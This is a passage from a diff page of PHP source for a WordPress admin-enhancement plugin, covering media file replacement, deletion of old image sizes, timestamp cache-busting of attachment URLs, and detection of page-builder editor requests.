// Get the original media file path
|
||||
$old_media_file_path = wp_get_original_image_path( $old_attachment_id );
|
||||
|
||||
} else {
|
||||
|
||||
// Get the path to the old/existing media file that will be replaced and deleted. An image file name may end with '-scaled'.
|
||||
$old_attachment_file = get_post_meta( $old_attachment_id, '_wp_attached_file', true );
|
||||
$old_media_file_path = $upload_dir['basedir'] . '/' . $old_attachment_file;
|
||||
|
||||
}
|
||||
|
||||
// Check if the directory path to the old media file is still intact
|
||||
if ( ! file_exists( dirname( $old_media_file_path ) ) ) {
|
||||
|
||||
// Recreate the directory path
|
||||
mkdir( dirname( $old_media_file_path ), 0755, true );
|
||||
|
||||
}
|
||||
|
||||
// Copy the new media file into the old media file's path
|
||||
copy( $new_media_file_path, $old_media_file_path );
|
||||
|
||||
// Regenerate attachment meta data and image sub-sizes from the new media file that was just copied to the old path
|
||||
$old_media_post_meta_updated = wp_generate_attachment_metadata( $old_attachment_id, $old_media_file_path );
|
||||
|
||||
// Update new media file's meta data with the ones from the old media. i.e. new media file will carry over the post ID and post meta of the old media file. i.e. only the files are replaced for the old media's ID and post meta in the database.
|
||||
wp_update_attachment_metadata( $old_attachment_id, $old_media_post_meta_updated );
|
||||
|
||||
// Delete the newly uploaded media file and it's sub-sizes, and also delete post and post meta entries for it in the database.
|
||||
wp_delete_attachment( $new_attachment_id, true );
|
||||
|
||||
// Add old attachment ID to recently replaced media option. This will be used for cache busting to ensure the new replacement images are immediately loaded in the browser / wp-admin
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
|
||||
$max_media_number_to_cache_bust = 5;
|
||||
// vi( $recently_replaced_media, '', 'before' );
|
||||
if ( count( $recently_replaced_media ) >= $max_media_number_to_cache_bust ) {
|
||||
// Remove first/oldest attachment ID
|
||||
array_shift( $recently_replaced_media );
|
||||
}
|
||||
$recently_replaced_media[] = $old_attachment_id;
|
||||
$recently_replaced_media = array_unique( $recently_replaced_media );
|
||||
// vi( $recently_replaced_media, '', 'after' );
|
||||
$options_extra['recently_replaced_media'] = $recently_replaced_media;
|
||||
update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
sleep(2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete the existing/old media files when performing media replacement
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/replace-image/tags/1.1.7/hm-replace-image.php#L80
|
||||
* @since 1.1.0
|
||||
*/
|
||||
public function delete_media_files( $post_id ) {
|
||||
|
||||
$attachment_meta = wp_get_attachment_metadata( $post_id );
|
||||
|
||||
// Will get '-scaled' version if it exists, e.g. /path/to/uploads/year/month/file-name.jpg
|
||||
$attachment_file_path = get_attached_file( $post_id );
|
||||
|
||||
// e.g. file-name.jpg
|
||||
$attachment_file_basename = basename( $attachment_file_path );
|
||||
|
||||
// Delete intermediate images if there are any
|
||||
|
||||
if ( isset( $attachment_meta['sizes'] ) && is_array( $attachment_meta['sizes'] ) ) {
|
||||
|
||||
foreach( $attachment_meta['sizes'] as $size => $size_info) {
|
||||
|
||||
// /path/to/uploads/year/month/file-name.jpg --> /path/to/uploads/year/month/file-name-1024x768.jpg
|
||||
$intermediate_file_path = str_replace( $attachment_file_basename, $size_info['file'], $attachment_file_path );
|
||||
wp_delete_file( $intermediate_file_path );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Delete the attachment file, which maybe the '-scaled' version
|
||||
wp_delete_file( $attachment_file_path );
|
||||
|
||||
// If original file is larger than 2560 pixel
|
||||
// https://make.wordpress.org/core/2019/10/09/introducing-handling-of-big-images-in-wordpress-5-3/
|
||||
$attachment_original_file_path = wp_get_original_image_path( $post_id );
|
||||
|
||||
// Maybe delete the original file if it's an image file, and the original file path exists / was found
|
||||
if ( $attachment_original_file_path ) {
|
||||
wp_delete_file( $attachment_original_file_path );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Customize the attachment updated message
|
||||
*
|
||||
* @link https://github.com/WordPress/wordpress-develop/blob/6.0.2/src/wp-admin/edit-form-advanced.php#L180
|
||||
* @since 1.1.0
|
||||
*/
|
||||
public function attachment_updated_custom_message( $messages ) {
|
||||
|
||||
$new_messages = array();
|
||||
|
||||
foreach( $messages as $post_type => $messages_array ) {
|
||||
|
||||
if ( $post_type == 'attachment' ) {
|
||||
|
||||
// Message ID for successful edit/update of an attachment is 4. e.g. /wp-admin/post.php?post=a&action=edit&classic-editor&message=4 Customize it here.
|
||||
$messages_array[4] = 'Media file updated. You may need to <a href="https://fabricdigital.co.nz/blog/how-to-hard-refresh-your-browser-and-clear-cache" target="_blank">hard refresh</a> your browser to see the updated media preview image below.';
|
||||
|
||||
}
|
||||
|
||||
$new_messages[$post_type] = $messages_array;
|
||||
|
||||
}
|
||||
|
||||
return $new_messages;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Append cache busting parameter to the end of image srcset
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function append_cache_busting_param_to_image_srcset( $sources, $size_array, $image_src, $image_meta, $attachment_id ) {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
|
||||
$attachment_mime_type = get_post_mime_type( $attachment_id );
|
||||
|
||||
if ( in_array( $attachment_id, $recently_replaced_media )
|
||||
&& false !== strpos( $attachment_mime_type, 'image' )
|
||||
) {
|
||||
foreach ( $sources as $size => $source ) {
|
||||
$source['url'] .= $this->maybe_append_timestamp_parameter( $source['url'] );
|
||||
$sources[$size] = $source;
|
||||
// vi( $source, '', 'cache busting added via append_cache_busting_param_to_image_srcset' );
|
||||
}
|
||||
}
|
||||
return $sources;
|
||||
}
|
||||
|
||||
/**
|
||||
* Append cache busting parameter to the end of image src
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function append_cache_busting_param_to_attachment_image_src( $image, $attachment_id ) {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
|
||||
$attachment_mime_type = get_post_mime_type( $attachment_id );
|
||||
|
||||
if ( ! empty( $image[0] )
|
||||
&& in_array( $attachment_id, $recently_replaced_media )
|
||||
&& false !== strpos( $attachment_mime_type, 'image' )
|
||||
) {
|
||||
$image[0] .= $this->maybe_append_timestamp_parameter( $image[0] );
|
||||
// vi( $image, '', 'cache busting added via append_cache_busting_param_to_attachment_image_src' );
|
||||
}
|
||||
|
||||
return $image;
|
||||
}
|
||||
|
||||
/**
|
||||
* Append cache busting parameter to image src for js
|
||||
*
|
||||
* @since 5.7.0
|
||||
*/
|
||||
public function append_cache_busting_param_to_attachment_for_js( $response, $attachment ) {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
|
||||
$attachment_mime_type = get_post_mime_type( $attachment->ID );
|
||||
|
||||
if ( in_array( $attachment->ID, $recently_replaced_media )
|
||||
// && false !== strpos( $attachment_mime_type, 'image' )
|
||||
) {
|
||||
if ( false !== strpos( $response['url'], '?' ) ) {
|
||||
$response['url'] .= $this->maybe_append_timestamp_parameter( $response['url'] );
|
||||
// vi( $response, '', 'cache busting added via append_cache_busting_param_to_attachment_for_js' );
|
||||
}
|
||||
if ( isset( $response['sizes'] ) ) {
|
||||
foreach ( $response['sizes'] as $size_name => $size ) {
|
||||
$response['sizes'][$size_name]['url'] .= $this->maybe_append_timestamp_parameter( $size['url'] );
|
||||
// vi( $response, '', 'cache busting added via append_cache_busting_param_to_attachment_for_js' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Append cache busting parameter to attachment URL
|
||||
*
|
||||
* @since 6.8.2
|
||||
*/
|
||||
public function append_cache_busting_param_to_attachment_url( $url, $attachment_id ) {
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$recently_replaced_media = isset( $options_extra['recently_replaced_media'] ) ? $options_extra['recently_replaced_media'] : array();
|
||||
$attachment_mime_type = get_post_mime_type( $attachment_id );
|
||||
|
||||
if ( in_array( $attachment_id, $recently_replaced_media )
|
||||
// && false !== strpos( $attachment_mime_type, 'image' )
|
||||
) {
|
||||
$url .= $this->maybe_append_timestamp_parameter( $url );
|
||||
// vi( $url, '', 'cache busting added via append_cache_busting_param_to_attachment_url' );
|
||||
}
|
||||
|
||||
return $url;
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe append timestamp parameter
|
||||
*
|
||||
* @since 7.7
|
||||
*/
|
||||
public function maybe_append_timestamp_parameter( $url ) {
|
||||
$parts = parse_url( $url );
|
||||
$additional_url_parameter = '';
|
||||
|
||||
if ( isset( $parts['query'] ) ) {
|
||||
parse_str( $parts['query'], $query );
|
||||
|
||||
if ( isset( $query['t'] ) && ! empty( $query['t'] ) ) {
|
||||
// Do not add another timestamp parameter
|
||||
} else {
|
||||
$additional_url_parameter = ( false === strpos( $url, '?' ) ? '?' : '&' ) . 't=' . time();
|
||||
}
|
||||
|
||||
} else {
|
||||
$additional_url_parameter = ( false === strpos( $url, '?' ) ? '?' : '&' ) . 't=' . time();
|
||||
}
|
||||
|
||||
return $additional_url_parameter;
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the current request is in a page builder editor context.
|
||||
*
|
||||
* @since 7.9.0
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
private function is_page_builder_context() {
|
||||
$is_page_builder = false;
|
||||
|
||||
$request_action = isset( $_REQUEST['action'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$core_media_ajax_actions = array( 'get-attachment', 'save-attachment-compat', 'query-attachments' );
|
||||
$skip_request_builder_keys = wp_doing_ajax() && in_array( $request_action, $core_media_ajax_actions, true );
|
||||
|
||||
if ( ! $skip_request_builder_keys && ! empty( $_REQUEST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
if ( 'elementor' === $request_action ) {
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['fl_builder'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['et_fb'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['ct_builder'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['vc_editable'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['vcv-editable'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['tve'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['bricks'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['breakdance'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif ( isset( $_REQUEST['_cs_nonce'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
$is_page_builder = true;
|
||||
} elseif (
|
||||
isset( $_REQUEST['tb-preview'], $_REQUEST['tb-id'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
) {
|
||||
$is_page_builder = true;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! $is_page_builder ) {
|
||||
$referer = $this->get_media_replacement_request_referer();
|
||||
|
||||
if ( $referer ) {
|
||||
$referer_patterns = array(
|
||||
'action=elementor',
|
||||
'fl_builder',
|
||||
'et_fb=',
|
||||
'ct_builder',
|
||||
'vc_editable',
|
||||
'vcv-editable',
|
||||
'tve=',
|
||||
'tb-preview=',
|
||||
'bricks=',
|
||||
'breakdance=',
|
||||
'breakdance_builder',
|
||||
);
|
||||
|
||||
foreach ( $referer_patterns as $pattern ) {
|
||||
if ( false !== strpos( $referer, $pattern ) ) {
|
||||
$is_page_builder = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Filters whether the current request is a page builder editor context.
|
||||
*
|
||||
* @since 7.9.0
|
||||
*
|
||||
* @param bool $is_page_builder Whether the request is from a page builder.
|
||||
*/
|
||||
return (bool) apply_filters( 'asenha_media_replacement_is_page_builder_context', $is_page_builder );
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether this is a native Media Library compat AJAX request (upload.php).
|
||||
*
|
||||
* @since 7.9.0
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
private function is_native_media_library_compat_ajax() {
|
||||
if ( ! wp_doing_ajax() || $this->is_page_builder_context() ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$action = isset( $_REQUEST['action'] ) ? sanitize_key( wp_unslash( $_REQUEST['action'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
|
||||
|
||||
if ( ! in_array( $action, array( 'get-attachment', 'save-attachment-compat', 'query-attachments' ), true ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$referer = $this->get_media_replacement_request_referer();
|
||||
|
||||
if ( $referer ) {
|
||||
if ( false !== strpos( $referer, 'upload.php' ) ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Exclude classic/block post editor media modals.
|
||||
if ( false !== strpos( $referer, 'post.php' ) || false !== strpos( $referer, 'post-new.php' ) ) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Referer missing or non-upload admin URL: allow (Media Library often has no usable referer).
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Referer URL for media replacement context checks.
|
||||
*
|
||||
* @since 7.9.0
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
private function get_media_replacement_request_referer() {
|
||||
$referer = wp_get_referer();
|
||||
|
||||
if ( ! $referer && ! empty( $_SERVER['HTTP_REFERER'] ) ) {
|
||||
$referer = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) );
|
||||
}
|
||||
|
||||
return is_string( $referer ) ? $referer : '';
|
||||
}
|
||||
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user